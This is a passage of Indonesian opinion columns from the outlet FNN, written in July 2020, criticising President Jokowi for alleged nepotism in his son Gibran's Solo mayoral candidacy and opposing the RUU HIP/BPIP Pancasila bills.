tak sepintar ayahnya dalam melakukan pencitraan. Belum lagi jika bicara momen. Tahun 2024 periode Jokowi berakhir. Saat itu, akan sangat berat bagi Gibran untuk melanjutkan karirnya. Kecuali jika Jokowi jadi presiden seumur hidup. Gubrak! Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Ketika Presiden Yang Kehilangan Rasa Malu

by M. Rizal Fadillah Jakarta FNN - Senin (20/07). Kesan memaksakan Gibran Rakabuming Raka, putera Presiden untuk maju dalam Pemilihan Walikota (Pilwalkot) semakin kuat. Keterlibatan Presiden sebagai ayah sangat mencolok dan kasat mata. Tidak lagi sembunyi-sembunyi. Bahkan seperti seperti hendak memamerkan keterlibatan Presiden. Terang-terangan "pesaing” anak Presiden, Achmad Purnomo dipanggil ke Istana. Konon dengan tawaran kepada Achmad Purnomo dengan jabatan sebagai kempensasi tidak maju sebagai calon Walikota Solo. Tetap saja Purnomo merasa kecewa atas "perampasan hak" oleh anak Presiden atas nama otoritas sang ayah. Argumen awal bahwa ini bukan politik dinasti. Karena meskipun anak, tetapi hak politik sebagai warga negara tak dapat dihalangi siapapun. Siap untuk berkompetisi secara sehat. Namun prakteknya belum juga. Belum bertarung saja sudah memanfaatkan fasilitas kepresidenan. Ada juga barter jabatan segala. Peristiwa ini sebenarnya sangat memuakkan dan memalukan. Namun anehnya bagi Presiden hal ini dianggap biasa-biasa saja. Gawat juga jika Presiden sudah kehilangan rasa malu. Presiden tidak lagi perduli dengan cemohan dari publik. Presiden didak lagi perduli dengan norma pantas atau tidak pantas. Layak dan tidak layak. Presiden buta atau membutakan matanya untuk melihat kapasitas dan kapabilitas anaknya. Semua batasan norma, etika dan kepantasan tidak lagi dihiraukan oleh Presiden. Sabda Nabi, "sesungguhnya Allah tatkala hendak membinasakan seorang hamba, maka Allah mencabut rasa malu darinya. Ketika Allah telah mencabut rasa malu orang itu dari darinya, maka tidak mendapatkan dirinya kecuali dia dibenci dan membenci orang lain. Ketika mendapatkan dirinya dibenci dan membenci orang lain, akan dicabut amanah" (HR Ibnu Majah). Sebenarnya Presiden sudah kehilangan amanah itu melalui beberapa kebijakannya. Misalnya, ketika membuat Perppu tanpa adanya tingkat "kegentingan memaksa". Melumpuhkan KPK, dan mengabaikan Putusan Mahkamah Agung Nomor 44 P/HUM/2019. Juga memasukkan TKA China di tengah kesulitan kerja dan Pemutusan Hubungan Kerja (PHK) Selain itu, kebijakan membuka peluang penguasaan Negara komunis China melalui investasi dan hutang luar negeri. Bagaimana mungkin Presiden tidak menjaga martabat rakyat dan bangsanya? Sangat berbahaya bagi Negara yang Presidennya telah kehilangan rasa malu. Ditambah lagi dengan tidak menjaga martabat rakyat dan bangsanya. Lebih lanjut Nabi bersabda, "ketika amanah dicabut darinya, maka dia tidak mendapatkan dirinya, kecuali berkhianat dan dikhianati orang lain. Ketika mendapatkan dirinya berkhianat dan dikhianati orang lain, maka dicabut darinya rahmat. Ketika dicabut rahmat darinya, dia tidak mendapatkan dirinya selain dikutuk dan dilaknat". Yang dikhawatirkan sebagai seorang pemimpin adalah jika rakyat yang dipimpin sudah melecehkan bahkan sudah berani mengutuk dan melaknat. Jika fenomena ini terjadi maka itulah tanda tanda Allah SWT mencabut rahmat darinya. Memang kasus Gibran Rakabuming Raka ini dinilai keterlaluan. Orang pada tahu kalau kualitas, kapasitas, dan reputasi Gibran seperti apa untuk menjadi seorang Walikota? Akan tetapi dengan modal sosial sebagai anak Presiden, yang juga mantan Walikota Solo, Gibran dengan mudah maju sebagai calon Walikota Solo. Bukan itu saja. Presiden juga terang-terangan menggunakan fasilitas kepresidenan sebagaimana pemanggilan Achmad Purnomo ke Istana. Perkiraan di atas kertas, Gibran bisa saja mulus menjadi Walikota. Apalagi dana "rekanan" pun kemungkinan dengan mudah didapat atas titah ayahanda. Namun kekuasaan yang didapat bukan dari haknya atau kapasitasnya, maka agama menegaskan ancaman kehancurannya. Jika ia beragama Islam, maka statusnya sama dengan orang yang keluar dari Islam. Nabi juga mengingatkan, "ketika ia mendapatkan dirinya dikutuk dan dilaknat, maka akan dicabut darinya tali agama Islam" (HR Ibnu Majah). Nasehat Nabi berguna bagi orang yang beriman kepada Allah dan hari akhir. Sementara bagi yang tidak beriman, maka predikat yang pas untuk mereka adalah, "shummun bukmun umyun fahum laa yarji'uun" Mereka itu tuli, bisu dan buta. Maka mereka tak akan bisa kembali (QS Al Baqarah, ayat 18). Penulis adalah Pemerhati Politik dan Keagamaan.

Makar Ideologi Itu "Gerakan Pancasila 1 Juni 1945"

by M Rizal Fadillah Jakarta FNN – Ahad (19/07). Ini tentu bukan peristiwa pidato Soekarno di Sidang BPUPKI. Pidato itu sudah menjadi dokumen historis bangsa Indonesia. Kehebatan Soekarno dalam menuangkan gagasan diakui sangat luar biasa. Kita tidak boleh mencelanya. Pada tanggal 1 Juni 1945 istilah Pancasila diperkenalkan. Sebagaimana ketika itu juga diperkenalkan Trisila dan Ekasila. Semua adalah proses menuju Pancasila sebagaimana yang kita kenal sekarang. Proses sejarah yang menuju ke sana itu kita akui. Kita juga tidak akan membantahnya. Persoalannya menjadi makar ideologi adalah jika Pancasila 1 Juni 1945 mau diperjuangkan untuk menggantikan Pancasila 18 Agustus 1945. Pancasila 1 Juni 1945 dengan rumusan sila-silanya adalah Nasionalisme (Kebangsaan Indonesia), Internasionalisme (Perikemanusiaan), Mufakat atau Demokrasi, Kesejahteraan Sosial, dan Ketuhanan yang Berkebudayaan itu diperjuangkan bentuk Rancangan Undang-Undang Pembinaan Ideologi Pancasila (RUUPIP) untuk suatu saat menggantikan Pancasila yang telah dirumuskan pada tanggal 18 Agustus 1945. Perjuangan serupa dengan organisasi PKI dahulu, yang juga berjuang agar ideologi negara Republik Indonesia adalah Komunisme/Marxisme-Leninisme. Pancasila digantikan kelak. Selama hidup dan bergerak, PKI tetap berada di bawah Pancasila. Bahkan PKI menyatakan "Membela Pantjasila". DN Aidit adalah "jagoan" dalam teriak-teriak soal "Membela Pantjasila". Kita terpaksa menyebut adanya “Gerakan 1 Juni 1945”. Karena realitanya dalam proses politik sangat terasa adanya gerakan, perjuangan, serta langkah serius. Gerakan ini berusaha untuk menanamkan keyakinan akan kebenaran Pancasila 1 Juni 1945. Bukan disimpan sebagai dokumen historis saja. Tetapi sudah menjadi misi politis yang harus diterima sebagai landasan yuridis. RUU HIP adalah landasan yuridis yang hendak diletakkan tersebut. Kulminasi dari keyakinan perjuangan yang dianggap telah sampai dan menemukan momentum. RUU BPIP menjadi strategi "mundur sedikit satu dua langkah". Apalagi dalam menghadapi benturan keras dan perlawanan dari pembela Pancasila 18 Agustus 1945, khususnya umat Islam. Gerakan 1 Juni 1945 dapat diawali dengan bukti konsepsi bagi misi , "mempengaruhi dan menjiwai jalannya penyelenggaraan negara agar senantiasa berdasarkan ideologi Pancasila 1 Juni 1945 dan UUD 1945 serta jalan Trisakti sebagai pedoman strategis dan tujuan kebijakan politik partai demi terwujudnya pemerintahan yang kuat dan efektif, bersih, dan berwibawa". Gerakan 1 Juni 1945 tentu berapologi tidak menafikan Pancasila 18 Agustus 1945. Tetapi dari gerak dan langkahnya telah terasa merongrong eksistensi dan kewibawaan Pancasila 18 Agustus 1945. Pancasila telah disepakati oleh seluruh bangsa Indonesia dan tidak boleh dikhianati. Titik. Keputusan Presiden No 24 tahun 2016 tentang Hari Lahirnya Pancasila yang ditandatangani oleh Presiden Jokowi dinilai menjadi penguat bagi langkah gerakan Pancasila 1 Juni 1945. Berlanjut hingga RUU HIP yang kontroversial dan menyisakan buntut lahirnya RUU BPIP. Konflik ideologi akan semakin terbuka ke depan, jika tidak ada koreksi, introspeksi, evaluasi serta antisipasi. Dari mana memulainya ? Ya jawabannya sudah jelas di samping. Cabut RUU HIP, juga bubarkan BPIP dan tolak RUU BPIP. Ini adalah langkah strategis dalam rangka menyelamatkan eksistensi dan kewibawaan Pancasila 18 Agustus 1945. Tidak ada langkah dan cara lain. Ke depan, kiranya Pemerintah Jokowi harus mencabut kembali Kepres No 24 tahun 2016 tentang Lahirnya Pancasila. Hal ini karena masih terjadinya perdebatan keras tentang hari lahir Pancasila itu. Apakah 1 Juni 1945, 22 Juni 1945 ataukah 18 Agustus 1945? Moga para pemimpin negara arif dalam mengelola negara yang telah susah payah "dipersembahkan" oleh para pejuang dan "the founding fathers". Tegakkan keadilan dan kedamaian. Penulis adalah Pemerharti Politik dan Kebangsaan.

Demi Gibran, Presiden Jokowi Tawari Purnomo Jabatan?

by Mochamad Toha Jakarta FNN - Ahad (19 Juli 2020). Presiden Joko Widodo dan DPP PDIP akhirnya berhasil “mengalahkan” aspirasi DPC PDIP Kota Solo yang mengusung Achmad Purnomo dan Teguh Prakosa (Puguh) sebagai pasangan bakal calon pada Pilkada Kota Solo 2020 mendatang. Ketum PDIP Megawati Soekarnoputri memberikan rekomendasi kepada Gibran Rakabuming Raka – Teguh Prakosa untuk maju pada Pilwali Solo 2020. Menjelang pengumuman, ternyata Gibran sempat berkontak dengan ayahnya, Presiden Jokowi. “Bapak sudah (komunikasi), lewat telepon saja, mendoakan semuanya lancar,” kata Gibran kepada wartawan di kantor DPC PDIP Solo, Jumat (17/7/2020). Lewat sambungan telepon, Presiden Jokowi mendoakan agar proses pengumuman rekomendasi berjalan lancar. Sejumlah nama mengantungi rekomendasi PDIP untuk bertarung dalam kontestasi Pilkada pada 9 Desember 2020 mendatang di wilayah masing-masing. Dari sejumlah nama itu tak pelak nama Gibran sebagai bakal calon Walikota Solo menjadi sorotan. Mulai dari drama “pertempuran” Gibran vs DPC PDIP Solo hingga penolakan para kader PDIP di Solo membuat nama putra sulung Presiden Jokowi itu sebagai pemicu polemik di Pilkada Solo. Hingga akhirnya muncul kesimpulan: Jokowi tengah melanggengkan “politik dinasti”, dan PDIP acuh terhadap aspirasi kader PDIP Solo. FX Hadi Rudyatmo selaku Ketua DPC PDIP Kota Solo pun hanya pasrah dan menerima keputusan PDIP itu. Padahal, sebelumnya Rudyatmo menyatakan, PDIP tetap solid mendukung pasangan Achmad Purnomo dan Teguh Prakosa (Puguh) sebagai pasangan bakal calon pada Pilkada Kota Solo 2020 mendatang. Walikota Solo itu menegaskan, pasangan Puguh ini merupakan bakal calon sah yang diusung oleh PDIP Solo. “Saya yakin pasangan pasangan bakal calon Puguh bisa memenangi Pilkada Solo,” ujar Rudyatmo, Minggu, 8 Maret 2020. Rudyatmo menegaskan, dirinya sudah menyampaikan agar kader PDIP Kota Solo tak takut untuk mendukung pasangan bakal calon Puguh saat Pilkada 2020 pada 9 Desember 2020. Karena Puguh merupakan pasangan yang diusung DPC PDIP Solo. DPC PDIP hanya mengajukan satu pasangan ke DPD yang dilanjutkan DPP PDIP. Sementara itu, Gibran Rakabuming Raka, maju melalui jalur DPD PDIP Jawa Tengah. Menurut Rudyatmo, semua Satgas dan pengurus partai di Solo tidak perlu khawatir. Ia yakin pasangan Puguh akan mendapat rekomendasi dari DPP PDIP. Meski demikian, dia meminta agar kader patuh dengan ketentuan partai. “Artinya, tegak lurus mengikuti apapun keputusan dari Ketum PDIP Megawati Soekarnoputri tetap harus diutamakan,” kata Rudyatmo, seperti dilansir Tempo.co, Minggu (8 Maret 2020 15:32 WIB). Sebelumnya, Lembaga Survei Indo Barometer merilis hasil survei terbaru yang menunjukkan bahwa 67,5 persen masyarakat menerima Gibran Rakabuming Raka sebagai calon Walikota Solo pada Pilkada 2020. Sementara 23,7 persen publik tidak mau menerima jika putra sulung Presiden Joko Widodo itu maju sebagai calon Walikota Solo. “Ada lima alasan publik tidak menerima. Paling besar karena menganggap Gibran belum berpengalaman dalam pemerintahan (37 persen),” kata Direktur Eksekutif Indo Barometer M. Qodari di Jakarta, Minggu (16/2/2020). Empat alasan lain tidak menerima, yakni menciptakan dinasti politik (28,1 persen), masih banyak calon lain yang lebih kompeten (12,3 persen), masih terlalu muda (8,9 persen), dan dapat menimbulkan kontroversi publik (6,8 persen). Ada lima alasan publik dapat menerima, yakni semua warga negara berhak memilih dan dipilih (49,4 persen), hak ikut berdemokrasi (13,9 persen), dan tidak masalah jika memenuhi syarat pencalonan (13,9 persen). Mengutip GenPI.c, Minggu (16 Februari 2020 17:32), berikutnya, yaitu melanjutkan Jokowi yang pernah memimpin Solo (9,4 persen), Gibran mempunyai kepribadian dan kemampuan yang baik sebesar 7,7 persen. Hasil survei itu juga merilis, ternyata masih ada warga yang tidak mengetahui kalau Gibran akan mencalonkan pada Pilkada Kota Solo 2020. Warga Solo yang tergabung dalam Peduli Pemilu (PWSPP) menyatakan keberatan karena persoalan etika berpolitik. Mengutip HanTer.com, Rabu (11 Desember 2019 - 10:19 WIB), pada Pilkada Solo 2015, Gibran tidak memberikan hak suaranya alias Golput. Menurut Ketua PWSPP Johan Syafaat Mahanani, apabila orang yang tidak mau memilih (golput) diberikan kesempatan untuk memilih, maka bisa menjadi contoh generasi muda untuk bersikap egois hanya mementingkan kepentingan sendiri. “Sebaiknya Gibran maju Pilkada Kota Solo pada 2025, namun pada 2020 ini dia bersedia memilih,” kata Ketua PWSPP, Johan Syafaat Mahanani, di Solo, Selasa (10/12/2019). Menurut Johan, keberatan ini, sebagai bentuk pendidikan politik bagi masyarakat agar di kemudian hari orang yang tidak menggunakan hak memilih tidak menuntut haknya untuk dipilih. Syafaat, seperti dilansir Antara, mengakui pihaknya sudah mengajukan surat keberatan kepada partai politik atas pencalonan Gibran pada Pilkada Kota Solo 2020. Gibran diketahui sempat menampakkan sikap ngototnya yang tetap berusaha maju dengan melawan keputusan DPC PDIP Solo yang mantap mengusung pasangan Puguh. Padahal, keputusan DPC PDIP Solo tersebut berdasarkan aspirasi akar rumput. Namun, keinginan Gibran untuk maju pada Pilkada Solo 2020 terkesan bukan atas dasar kepentingan rakyat. “Itukan seperti arogansi, seolah-olah berkata yang bisa menyejahterakan rakyat itu saya dan kelompok saya,” ungkap analis politik UII Geradi Yudhistira. Dalam manuver yang dilakukan sosok yang baru mendaftar sebagai kader PDIP beberapa waktu lalu itu terkesan arogan. Bahkan dinilai jauh dari kepentingan rakyat. Alih-alih dia menghormati keputusan DPC, Gibran justru tetap berkeinginan untuk mencalonkan diri dengan menghadap ke Ketum PDIP beberapa waktu lalu. Pengamat politik Universitas Diponegoro M Yulianto menilai, rencana Gibran maju pada Pilkada Solo 2020 dalam konteks demokrasi sah-sah saja. Namun, menurutnya, asalkan telah memenuhi kualitas, kapasitas, intergritas. “Sebenarnya dalam konteks demokrasi (Gibran maju Pilkada, red) sah dan boleh. Tetapi kalau kualitas, kapasitas, intergritasnya memenuhi tidak masalah,” ungkap Yulianto di Jakarta, Selasa (10/12/2019). Namun, di sisi lain, menurutnya, pencalonan Gibran itu akan memberikan tren dinasti politik di keluarga (oligarki) penguasaan kelompok tertentu berbasis pada dinasti keluarga. “Karena itu juga bisa, itu juga ada di Sumatera,” ungkapnya. “Kemudian di Solo dan nanti itu akan diikuti tokoh-tokoh politik dari PDIP yang membangun plan-plan keluarga di situ,” lanjut Yulianto. Menurutnya, hal ini merusak sistem yang sudah dibangun PDIP yang dipertahankan dengan loyal oleh pengurus kabupaten/kota dan povinsi. “Ini bagian dari manajemen partai yang harus dikritisi, jangan mentang-mentang atau jangan seolah-olah karena punya power yang besar kemudian merusak mekanisme sistem yang telah didesain oleh partai dengan baik,” tandasnya. Pengamat Politik Ray Rangkuti mengatakan, publik akan kecewa kepada Presiden Jokowi ketika Gibran maju pada Pilkada 2020. Ia menilai, publik kecewa karena ternyata keluarga Jokowi tidak mengambil jarak dengan dunia politik praktis. “Ini akan menambah bobot makin jauhnya harapan agar Jokowi menjadi salah satu figur yang mempraktekkan politik dengan kultur baru,” ujar Ray, Selasa (10/12/2019). Terlebih, selama ini Jokowi dicitrakan sebagai pembawa pembaruan yang tidak mempraktekkan politik dinasti dan nepotisme ketika menjabat sebagai presiden. Majunya Gibran saat Jokowi masih menjabatmenjadi titik yang menghapus semua citra baik yang selama ada di mata publik. “Artinya, dalam hal ini, Pak Jokowi tak memberi tauladan yang berbeda dari kebanyakan politisi Indonesia,” tambah Ray. Apalagi, belakangan diketahui, Achmad Purnomo mengaku mendapat tawaran jabatan dari Presiden Jokowi sebagai timbal balik karena Gibran memperoleh rekomendasi PDIP untuk maju pada Pilkada Solo 2020. Namun Purnomo menyatakan menolaknya. Tawaran Jabatan “Ya ada (tawaran timbal balik), tapi bagi saya ndak perlu,” ungkap Purnomo, seperti dilansir Detikcom, Jumat (17/7/2020). Tawaran itu disampaikan ketika Purnomo dipanggil Presiden Jokowi ke Istana, Kamis (16/7/2020). Tapi Purnomo tak bersedia menjawab apa penawaran Jokowi. Ia hanya memastikan tawaran itu berupa jabatan, tapi bukan posisi menteri. “Ya rahasia no. Ada, tapi saya ndak bersedia. Iya (jabatan). Nggak (posisi menteri), nggak setinggi itu,” sebut Purnomo. Ditanya apakah legawa karena tak jadi maju sebagai calon Wali Kota Solo dari PDIP karena digantikan Gibran, Purnomo tak menjawab pasti. Ia menyatakan hal tersebut sebuah realitas yang harus diterima. “Ya kalau saya diberi tahu seperti itu saya terima apa adanya. Kenyataannya tidak bisa saya hindari. Ya nuwun sewu (mohon maaf), terus terang, kan semuanya terpengaruh dengan putra presiden, mana saya bisa menang,” jelas Purnomo. “Bukan soal legawa atau tidak, itu kenyataan, realita. Saya kan tidak mencalonkan diri tetapi dicalonkan, diberi tugas oleh PDIP Surakarta. Kemudian anak presiden masuk, he-he-he…. Itu kenyataan yang tak bisa dipungkiri. Bukan soal legawa, realitanya begitu,” sambungnya. Purnomo saat ini masih menjabat Wakil Walikota Solo. Setelah purnatugas pada 2021 nanti, ia mengaku ingin berfokus kembali pada usaha bisnisnya saja. Ia juga menyatakan tak akan aktif di PDIP Solo. “Ndak, dari dulu saya ndak aktif di partai kok. Anggota (PDIP), tapi ndak aktif. Saya anggota kader biasa. Kembali lagi ke dunia swasta saya. Kegiatan sosial sama bisnis saya. Bisnis ada batik, macem-macem. Ada hotel, SPBU, kayak gitu,” jelas Purnomo. Pengamat Politik, Hendri Satrio mengatakan, jika Gibran terpilih menjadi walikota karena menggunakan fasilitas Jokowi, maka masuk ke dalam kategori dinasti politik. Dan, lanjut dia, hal itu tentunya merusak nama Jokowi sendiri. Menurutnya, langkah Gibran terjun ke dunia politik bisa menorehkan tinta negatif sejarah. Karena, Gibran maju saat ayahnya, Jokowi, masih memimpin Indonesia. “Sekarang terserah Gibran tetap mau menjaga tinta positif sejarah Indonesia dalam berpolitik bagi Jokowi tentunya, atau berkontribusi menorehkan tinta negatif untuk ayahnya,” katanya di Jakarta, Selasa (10/12/2019). Dia mengatakan, sejak Indonesia berdiri sampai saat ini belum ada anak presiden yang ikut dalam pesta demokrasi. Bahkan, pada era pemerintahan Presiden Soeharto tidak ada anaknya yang maju ke dalam kontestasi politik. “Karena akan dicatat sejarah sebagai presiden pertama yang anaknya maju ke perhelatan pilkada sebagai Walikota. Belum ada itu, Pak Harto saja 32 tahun nggak kayak gitu,” kata dia, seperti dilansir Harianterbit.com. Jika akhirnya hanya pasangan calon Gibran – Teguh yang maju, karena hampir semua parpol (kecuali PKS dan PAN) mendukungnya, dipastikan mereka akan melawan “kotak kosong”. Penulis adalah Wartawan Senior

Wakil Wali Kota Solo Melawan Presiden

by Mangarahon Dongoran Jakarta FNN- Sabtu (18/7). Achmad Purnomo patut diacungi jempol. Patut untuk diteladani dan diberikan penghargaan. Sebab, pada saat banyak orang berlomba meminta jabatan. Sementara Wakil Wali Kota Solo, Jawa Tengah itu justru menolak tawaran jabatan dari Presiden Joko Widodo. Tawaran jabatan sebagai timbal balik putranya Gibran Rakabuming Raka yang direkomendasikan oleh DPP PDIP untuk maju pada Pemilihan WaliKota (Pilwakot) Solo 2020. Tawaran jabatan itu disampaikan sendiri oleh Joko Widodo saat kader PDIP ini dipanggil ke Istana Negara, Jakarta, Kamis (16/7/2020). Barter jabatan kepada Purnomo disampaikan Joko Widodo sehari sebelum pengumuman rekomendasi yang jatuh ke Gibran itu keluar. Rekomendasi keluar pada pada Jumat (17/7/2020) yang disampaikan secara virtual oleh Puan Maharani. Bersamaan dengan pengumuman rekomendasi untuk calon pimpinan daerah PDIP lainnya di berbagai daerah yang ikut Pilkada Desember 2020. Menurut berita yang saya baca di sejumlah media daring, Purnomo tak menjelaskan jabatan apa yang ditawarkan Joko Widodo kepadanya. Akan tetapi, bukan jabatan menteri. Namun yang selevel dengan menteri. "Ya ada (tawaran timbal balik). Tapi bagi saya ndak perlu," kata Purnomo dalam perbincangan dengan detikcom, Jumat (17/7/2020). Purnomo hanya memastikan tawaran tersebut berupa jabatan, tapi bukan posisi menteri. "Ya rahasia dong. Ada, tapi saya ndak bersedia. Iya tawaran jabatan. Nggak posisi menteri, nggak setinggi itu," kata Purnomo. Purnomo tidak menjawab secara tegas apakah legawa atau tidak sebagai calon Walikota Solo. Tak jadi maju sebagai calon Wali Kota Solo dari PDIP, karena digantikan oleh Gibran. Ia menyatakan hal tersebut sebuah realitas yang harus diterima. "Ya kalau saya diberi tahu seperti itu saya terima apa adanya. Kenyataannya tidak bisa saya dihindari. Ya nuwun sewu (mohon maaf), terus terang, kan semuanya terpengaruh dengan putra presiden. Mana saya bisa menang," jelas Purnomo. "Bukan soal legawa atau tidak. Itu kenyataan dan realita. Saya kan tidak mencalonkan diri. Tetapi dicalonkan sebagai bakal Wawalkot Solo. Diberi tugas oleh PDIP Surakarta. Kemudian anak presiden masuk, he-he-he.... Itu kenyataan yang tak bisa dipungkiri. Bukan soal legawa. Realitanya begitu," ujarnya. Betul apa yang dikatakan Purnomo itu. Realita politik jelas seperti itu. Akan tetapi, ini realita politik yang sangat buruk. Karena semakin menumbuh-suburkan nepotisme. Siapa yang bisa melawan Presiden yang anaknya menjadi calon Walikota? Apalagi, pencalonan itu adalah rekomendasi partai yang tidak mungkin dibantah atau dilawan oleh kader, apalagi pengurus partai. Jika melawan titah induk partai sudah dipastikan, karier politik seseorang akan tamat. Ya, cukup banyak kasus yang terjadi. Saya ambil contoh di Banten saja. Ketika Marissa Haque menjadi calon wakil gubernur berpasangan dengan Zulkieflimansyah (kini Gubernur NTB), istri Ikang Fauzi itu ditendang dari PDIP. Maklum ketika Marisa adalah kader partai PDIP. Yang pada saat pencalonan Pilkada Gubernur Banrten masih menjadi anggota DPR RI dari PDIP. Banyak contoh lainnya. Pendepakan dari partai karena berseberangan dengan DPP maupun DPW/DPD hampir terjadi di semua partai yang ada di negeri. Kini praktek nepotisme semakin menjadi-jadi. Untungnya, Achamd Purnomo yang merasa kecewa karena "dibuang" dari pencalonan Walkot Solo 2020 adalah orang yang akhirnya legowo. Ditawari jabatan oleh Presiden Joko Widodo, namun ditolaknya. Ia lebih memilih kembali ke keluarga dan membesarkan bisnisnya. Maklum, sebelum menjadi Wakil Wali Kota Solo, Purnomo adalah pebisnis di bidang hotel, Stasiun Pengisian Bahan Bakar Umum (SPBU), batik dan lainnya. Tidak Gila Jabatan Padahal, jika Purnomo menerima tawaran jabatan yang lebih cenderung dikatagorikan sebagai "sogokan" atau "suap" dari Joko Widodo itu, jelas akan semakin memudahkannya untuk memperluas dan memperkokoh cengkeraman bisnisnya. Akan tetapi, Purnomo ingin menunjukkan jati dirinya yang bukan orang yang gila jabatan. Purnomo bukan seperti Relawan dan Pendukung Jokowi yang kini bertebaran menjadi Wakil Menteri, Direksi dan Komisaris Badan Usaha Milik Negara (BUMN). Ada juga yang menjadi Duta Besar (Dubes) RI untuk beberapa negara sahabat. Tidak sampai di situ saja. Ada relawan yang diangkat menjadi Staf Khusus Presiden yang gajinya besar, tapi pekerjaannya tidak jelas. Meskipun jabatan yang ditawarkan kepada Purnomo itu tidak selevel menteri. Tetapi saya percaya posisinya bukan di sembarang tempat. Pasti ditempatkan pada posisi cukup bergengsi. Masak seorang Presiden hanya menawarkan jabatan ecek-ecek kepada Wakil Wali Kota. Apalagi, bentuk penawaran jabatan itu juga merupakan cara Jokowi mengobati kekecewaan hati Purnomo yang terluka. Sepantasnyalah kita memberikan simpati dan apresiasi kepada Purnomo yang tidak gila jabatan. Semoga, ke depan semakin banyak Purnomo Purnomo yang lain. Yang berani "melawan" Presiden, meskipun keduanya adalah kader dari partai yang sama. Penulis adalah Wartawan Senior

Barter Jabatan Walikota Solo Sebagai Upaya Penyogokan?

by Gde Siriana Yusuf Jakarta FNN – Sabtu (18/07). Undang-Undang Nomor 23/2014 Tentang Pemerintahan daerah (Pemda) menjelaskan bahwa Presiden adalah penanggung jawab akhir atas penyelenggaraan Pemerintahan Pusat dan Daerah. Penegasan ini terdapat di pasal 7 (ayat 2). Sementara itu, kekuasaan Pemerintahan Pusat di daerah dijalankan dengan asas desentralisasi, sesuai pasal 5 (ayat 4). Dengan demikian, posisi Pemerintahan Daerah adalah sebagai perpanjagan tangan kekuasaan Pemerintah Pusat (Presiden). Bagaima mungkin sistem dan tata kelola suatu pemerintahan ini dapat berjalan dengan baik? Apalabila bapaknya yang menjadi Presiden, sementara anaknya menjadi kepala atau pimpinan Pemerintahan di daerah? Bentukan dan konflik kepentingan tidak bisa dihindari. Saya tidak mempermasalahkan anaknya Jokowi, dalam hal bagaimana upayanya untuk menjadi calon Walikota Solo. Juga soal survei yang dibuat untuk memenangkannya, sebelum diumumkan sebaga calon Walikota Solo. Semua indikator seperti itu adalah hal sangat yang mudah untuk diatur. Yang jadi isu penting adalah sebuah system. Dimana sistem apapun itu, diharapkan bisa berjalan dengan benar. Untuk itu dibutuhkan moral dan etik sangat tinggi. Moral dan etik tingkat dewa. Tanpa moral dan etik, sistem dan tata kelola pemerintahan akan hancur dengan sendirinya, karena besarnya konflik kepentingan. Fakta tentang bentuk dan tata kelola keuasaan yang seperti ini hanya baru terjadi di eranya Jokowi sebagai Presiden. Di Kalimantan Timur, khususnya di Kabupaten Kutai Timur, ada suami yang menjadi Bupati, sementara istrinya menjadi Ketua DPRD. Bagaimana hasilnya? Ya dua-duanya dicokok sama KPK dalam Operasi Tangkap Tangan (OTT). Kini yang terjadi, bapaknya sebagai Presiden, dan anaknya menjadi Walikota. Memang benar KKN masih marak terjadi di era Reformasi. tetapi ini hari ke hari semakin menggila saja. Praktek KKN oleh Dinasti yang Ajimumpung tidak perlu lagi disembunyikan. Perkmbangan terbaru, Jokowi sendiri yang mengumumkan anaknya Gibran Rakabuming Raka menjadi Calon Walikota Solo di Istana Negara. Ini benar-benar gila, sableng dan ndableg. Masa fasiltas negara seperti Istana Negara dipakai untuk urusan dan kepentingan pribadi keluarga Presidan Jokowi? Bukan itu saja. Yang gila memprihatinkan adalah upaya Presiden untuk menyogok Achmad Purnomo yang menjadi calon pesaing terkuat Gibran Rakabuming Raka. Pramono mau disogok dengan jabatan di pemerintahan agar tidak maju sebagai calon Walikota Solo. Semacam barter jabatan (Tribun Kupang 18/07/2020). Purnomo sekarang wakil Walikota Solo dan Ketua DPD PDIP Kota Solo. Pemimpin seharusnya menjadi tauladan. Menjadi contoh yang baik dalam berpolitik. Termasuk untuk meraih kekuasaan. Bukan sebaliknya, kekuasaan didapat dengan menghalalkan segala cara. Termasuk juga melanggar moral dan etika. Apalagi sampai menyogok (barter) untuk pesaing dengan jabatan. Sangat memprihatinkan. Beberapa waktu silam publik dan media massa mencaci maki dinasti politik di keluarga Atut di Banten. Sekarang media massa dan publik terdiam kaku menyaksikan yang terjadi di Solo. Dengan demikian, kita tak perlu lagi diskusi-diskusi. Tutup saja buku-buku, dan gulung poster-poster tentang aksi-aksi yang mengkritisi dinasti politik. Ajimpumpung, KKN dan dinasti sudah menjadi barang yang sah untuk diterapkan di negara ini. Apalagi semua sembunyi dengan sangat rapi di balik alasan bahwa "tidak ada aturan yang melarang". Sehingga moral dan etika hanya ada di dalam buk-buku, kata mereka yang mendukung Gibran Rakabuming. Negara ini dibangun dengan sistem-sistem. Sekarang ini sistem-sistem tersebut, satu persatu hancur, karena rezim penguasa selingkuh atau mendua. Sebelum berkuasa media berteriak lantang menentang politik KKN dan dinasti. Kini setelah berkuasa diam dan mendukung. Rupiah dan iming-iming jabatanlah yang dicari. Tidak perlu paham lagi soal amanat rakyat dan sejenisnya. Jika pemimpin tertinggi negara saja sudah menunjukkan syahwat kekuasaan yang berlebihan, bagaimana dengan para pejabat yang bawahannya? Jika kitab suci bertanya "nikmat Tuhan mana lagi yang engkau dustakan"? Maka saya bertanya, “sistem negara manalagi yang akan engkau rusakkan? Kini perilaku ajimumpung akan dicontoh di banyak pejabat di daerah. Akan menjadi praktek yang lumrah di berbagai level kekuasaan. Tidak peduli soal kapasitas, kapabilitas, moral, etika, integritas. Sebab dengan uang, semua itu bisa diraih dengan sangat mudah. Jabatan Gubernur bisa diwariskan kepada istri dan anak. Kan rakyat yang milih? Ya, tetapi di kepala kalian sudah ada cara bagaiman agar rakyat memilih mau memilih anak dan istri kalian. Penilis adalah Direktur Eksekutif Indonesian Future Studies (INFUS)

Ruhnya RUU BPIP Tetap Pancasila 1 Juni 1945

